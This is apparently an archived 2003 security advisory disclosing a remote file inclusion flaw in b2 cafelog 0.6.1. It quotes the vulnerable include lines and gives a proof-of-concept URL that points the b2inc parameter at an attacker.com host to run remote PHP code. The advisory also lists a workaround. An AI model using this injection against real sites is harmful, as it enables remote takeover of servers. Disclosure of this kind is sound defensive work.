Products: b2 cafelog 0.6.1 (http://cafelog.com/) Date: 29 May 2003 Author: pokleyzz <pokleyzz_at_scan-associates.net> Contributors: sk_at_scan-associates.net shaharil_at_scan-associates.net munir_at_scan-associates.net URL: http://www.scan-associates.net Summary: b2 cafelog 0.6.1 remote command execution. Description =========== b2 cafelog is blogger system written in php with mysql ad database backend. Details ======= b2 cafelog 0.6.1 come with directory b2-tools. This directory contain 2 php scripts (blogger-2-b2.php and gm-2-b2.php) which allow user to specify $b2inc and do remote code injection. from blogger-2-b2.php line 21 ----------------------------------------------------- case "step1": include("b2config.php"); include("$b2inc/b2functions.php"); include("$b2inc/b2vars.php"); ------------------------------------------------------------------------------------ from gm-2-b2.php line 5 ---------------------------------------------------------- // 3. load in the browser from there include("b2config.php"); include($b2inc."/b2functions.php"); ----------------------------------------------------------------------------------- Proof of concept =========== http://blabla.com/b2-tools/gm-2-b2.php?b2inc=http://attacker.com attacker.com have file named b2functions.php with php script you want to execute. Workaround ========= Remove b2-tools directory. Vendor Response =============== Vendor has been contacted on 19/05/2003 but to reply given.
This archive was generated by hypermail 2b30 : Thu May 29 2003 - 01:01:08 PDT